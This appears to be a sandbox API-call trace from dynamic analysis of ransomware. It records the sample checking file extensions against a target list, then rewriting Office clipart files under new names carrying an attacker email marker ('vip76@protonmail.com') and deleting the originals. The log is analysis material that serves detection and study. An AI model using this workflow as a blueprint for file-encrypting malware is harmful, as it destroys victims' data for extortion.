	[0070.397] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0070.397] lstrlenW (lpString=".docx") returned 5
	[0070.397] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0070.397] lstrlenW (lpString=".pdf") returned 4
	[0070.397] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0070.397] lstrlenW (lpString=".xls") returned 4
	[0070.397] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0070.397] lstrlenW (lpString=".xlsx") returned 5
	[0070.397] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0070.397] lstrlenW (lpString=".ppt") returned 4
	[0070.397] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0070.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68
	[0070.397] lstrlenW (lpString=".zip") returned 4
	[0070.397] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0070.397] lstrlenW (lpString=".rar") returned 4
	[0070.397] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0070.397] lstrlenW (lpString=".bz2") returned 4
	[0070.397] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0070.397] lstrlenW (lpString=".7z") returned 3
	[0070.397] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0070.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68
	[0070.397] lstrlenW (lpString=".dbf") returned 4
	[0070.397] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0070.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68
	[0070.397] lstrlenW (lpString=".1cd") returned 4
	[0070.398] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0070.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68
	[0070.398] lstrlenW (lpString=".jpg") returned 4
	[0070.398] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0070.398] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1
	[0070.398] lstrlenW (lpString="AG00169_.GIF") returned 12
	[0070.398] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0070.399] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x375ff14 | out: lpFileSize=0x375ff14*=5375) returned 1
	[0070.399] CloseHandle (hObject=0x364) returned 1
	[0070.399] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif")) returned 0x220
	[0070.399] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0070.400] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0070.400] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.400] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.400] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0070.400] GetLastError () returned 0x0
	[0070.400] ReadFile (in: hFile=0x364, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x14ff, lpOverlapped=0x0) returned 1
	[0071.037] WriteFile (in: hFile=0x388, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0x1500, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0x1500, lpOverlapped=0x0) returned 1
	[0071.216] ReadFile (in: hFile=0x364, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x0, lpOverlapped=0x0) returned 1
	[0071.216] WriteFile (in: hFile=0x388, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0xec, lpOverlapped=0x0) returned 1
	[0071.216] SetEndOfFile (hFile=0x388) returned 1
	[0071.216] CloseHandle (hObject=0x388) returned 1
	[0071.217] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.217] SetEndOfFile (hFile=0x364) returned 1
	[0071.218] CloseHandle (hObject=0x364) returned 1
	[0071.218] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0071.218] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif")) returned 1
	[0071.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68
	[0071.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68
	[0071.219] lstrlenW (lpString=".doc") returned 4
	[0071.219] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0071.219] lstrlenW (lpString=".docx") returned 5
	[0071.219] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0071.219] lstrlenW (lpString=".pdf") returned 4
	[0071.219] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0071.219] lstrlenW (lpString=".xls") returned 4
	[0071.219] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0071.219] lstrlenW (lpString=".xlsx") returned 5
	[0071.219] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0071.219] lstrlenW (lpString=".ppt") returned 4
	[0071.219] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0071.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68
	[0071.219] lstrlenW (lpString=".zip") returned 4
	[0071.219] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0071.219] lstrlenW (lpString=".rar") returned 4
	[0071.219] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0071.219] lstrlenW (lpString=".bz2") returned 4
	[0071.219] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0071.219] lstrlenW (lpString=".7z") returned 3
	[0071.220] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0071.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68
	[0071.220] lstrlenW (lpString=".dbf") returned 4
	[0071.220] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0071.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68
	[0071.220] lstrlenW (lpString=".1cd") returned 4
	[0071.220] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0071.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68
	[0071.220] lstrlenW (lpString=".jpg") returned 4
	[0071.220] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0071.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68
	[0071.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68
	[0071.220] lstrlenW (lpString=".doc") returned 4
	[0071.220] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0071.220] lstrlenW (lpString=".docx") returned 5
	[0071.220] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0071.220] lstrlenW (lpString=".pdf") returned 4
	[0071.220] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0071.220] lstrlenW (lpString=".xls") returned 4
	[0071.220] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0071.220] lstrlenW (lpString=".xlsx") returned 5
	[0071.220] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0071.220] lstrlenW (lpString=".ppt") returned 4
	[0071.220] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0071.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68
	[0071.220] lstrlenW (lpString=".zip") returned 4
	[0071.221] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0071.221] lstrlenW (lpString=".rar") returned 4
	[0071.221] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0071.221] lstrlenW (lpString=".bz2") returned 4
	[0071.221] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0071.221] lstrlenW (lpString=".7z") returned 3
	[0071.221] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0071.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68
	[0071.221] lstrlenW (lpString=".dbf") returned 4
	[0071.221] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0071.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68
	[0071.221] lstrlenW (lpString=".1cd") returned 4
	[0071.221] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0071.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68
	[0071.221] lstrlenW (lpString=".jpg") returned 4
	[0071.221] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0071.221] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0071.221] lstrlenW (lpString="AN01216_.WMF") returned 12
	[0071.221] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0071.222] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x375ff14 | out: lpFileSize=0x375ff14*=5836) returned 1
	[0071.222] CloseHandle (hObject=0x364) returned 1
	[0071.222] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf")) returned 0x220
	[0071.222] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0071.222] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0071.222] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.222] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.222] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0071.222] GetLastError () returned 0x0
	[0071.223] ReadFile (in: hFile=0x364, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x16cc, lpOverlapped=0x0) returned 1
	[0071.224] WriteFile (in: hFile=0x388, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0x16d0, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0x16d0, lpOverlapped=0x0) returned 1
	[0071.226] ReadFile (in: hFile=0x364, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x0, lpOverlapped=0x0) returned 1
	[0071.226] WriteFile (in: hFile=0x388, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0xec, lpOverlapped=0x0) returned 1
	[0071.226] SetEndOfFile (hFile=0x388) returned 1
	[0071.226] CloseHandle (hObject=0x388) returned 1
	[0071.227] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.227] SetEndOfFile (hFile=0x364) returned 1
	[0071.228] CloseHandle (hObject=0x364) returned 1
	[0071.228] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0071.229] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf")) returned 1
	[0071.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68
	[0071.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68
	[0071.229] lstrlenW (lpString=".doc") returned 4
	[0071.229] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0071.229] lstrlenW (lpString=".docx") returned 5
	[0071.229] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0071.229] lstrlenW (lpString=".pdf") returned 4
	[0071.229] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0071.229] lstrlenW (lpString=".xls") returned 4
	[0071.229] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0071.229] lstrlenW (lpString=".xlsx") returned 5
	[0071.229] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0071.229] lstrlenW (lpString=".ppt") returned 4
	[0071.229] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0071.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68
	[0071.230] lstrlenW (lpString=".zip") returned 4
	[0071.230] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0071.230] lstrlenW (lpString=".rar") returned 4
	[0071.230] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0071.230] lstrlenW (lpString=".bz2") returned 4
	[0071.230] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0071.230] lstrlenW (lpString=".7z") returned 3
	[0071.230] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0071.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68
	[0071.230] lstrlenW (lpString=".dbf") returned 4
	[0071.230] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0071.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68
	[0071.230] lstrlenW (lpString=".1cd") returned 4
	[0071.230] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0071.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68
	[0071.230] lstrlenW (lpString=".jpg") returned 4
	[0071.230] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0071.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68
	[0071.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68
	[0071.230] lstrlenW (lpString=".doc") returned 4
	[0071.230] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0071.230] lstrlenW (lpString=".docx") returned 5
	[0071.230] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0071.230] lstrlenW (lpString=".pdf") returned 4
	[0071.230] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0071.230] lstrlenW (lpString=".xls") returned 4
	[0071.231] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0071.231] lstrlenW (lpString=".xlsx") returned 5
	[0071.231] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0071.231] lstrlenW (lpString=".ppt") returned 4
	[0071.231] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0071.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68
	[0071.231] lstrlenW (lpString=".zip") returned 4
	[0071.231] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0071.231] lstrlenW (lpString=".rar") returned 4
	[0071.231] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0071.231] lstrlenW (lpString=".bz2") returned 4
	[0071.231] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0071.231] lstrlenW (lpString=".7z") returned 3
	[0071.231] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0071.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68
	[0071.231] lstrlenW (lpString=".dbf") returned 4
	[0071.231] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0071.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68
	[0071.231] lstrlenW (lpString=".1cd") returned 4
	[0071.231] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0071.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68
	[0071.231] lstrlenW (lpString=".jpg") returned 4
	[0071.231] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0071.232] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0071.232] lstrlenW (lpString="AN01218_.WMF") returned 12
	[0071.232] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0071.232] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x375ff14 | out: lpFileSize=0x375ff14*=3012) returned 1
	[0071.232] CloseHandle (hObject=0x364) returned 1
	[0071.232] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf")) returned 0x220
	[0071.232] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0071.232] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0071.232] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.233] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.233] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0071.233] GetLastError () returned 0x0
	[0071.233] ReadFile (in: hFile=0x364, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0xbc4, lpOverlapped=0x0) returned 1
	[0071.235] WriteFile (in: hFile=0x388, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0xbd0, lpOverlapped=0x0) returned 1
	[0071.236] ReadFile (in: hFile=0x364, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x0, lpOverlapped=0x0) returned 1
	[0071.236] WriteFile (in: hFile=0x388, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0xec, lpOverlapped=0x0) returned 1
	[0071.236] SetEndOfFile (hFile=0x388) returned 1
	[0071.236] CloseHandle (hObject=0x388) returned 1
	[0071.237] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.237] SetEndOfFile (hFile=0x364) returned 1
	[0071.238] CloseHandle (hObject=0x364) returned 1
	[0071.238] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0071.238] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf")) returned 1
	[0071.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68
	[0071.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68
	[0071.239] lstrlenW (lpString=".doc") returned 4
	[0071.239] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0071.239] lstrlenW (lpString=".docx") returned 5
	[0071.239] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0071.239] lstrlenW (lpString=".pdf") returned 4
	[0071.239] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0071.239] lstrlenW (lpString=".xls") returned 4
	[0071.239] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0071.239] lstrlenW (lpString=".xlsx") returned 5
	[0071.239] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0071.239] lstrlenW (lpString=".ppt") returned 4
	[0071.239] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0071.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68
	[0071.239] lstrlenW (lpString=".zip") returned 4
	[0071.239] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0071.239] lstrlenW (lpString=".rar") returned 4
	[0071.239] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0071.239] lstrlenW (lpString=".bz2") returned 4
	[0071.240] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0071.240] lstrlenW (lpString=".7z") returned 3
	[0071.240] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0071.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68
	[0071.240] lstrlenW (lpString=".dbf") returned 4
	[0071.240] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0071.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68
	[0071.240] lstrlenW (lpString=".1cd") returned 4
	[0071.240] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0071.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68
	[0071.240] lstrlenW (lpString=".jpg") returned 4
	[0071.240] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0071.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68
	[0071.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68
	[0071.240] lstrlenW (lpString=".doc") returned 4
	[0071.240] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0071.240] lstrlenW (lpString=".docx") returned 5
	[0071.240] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
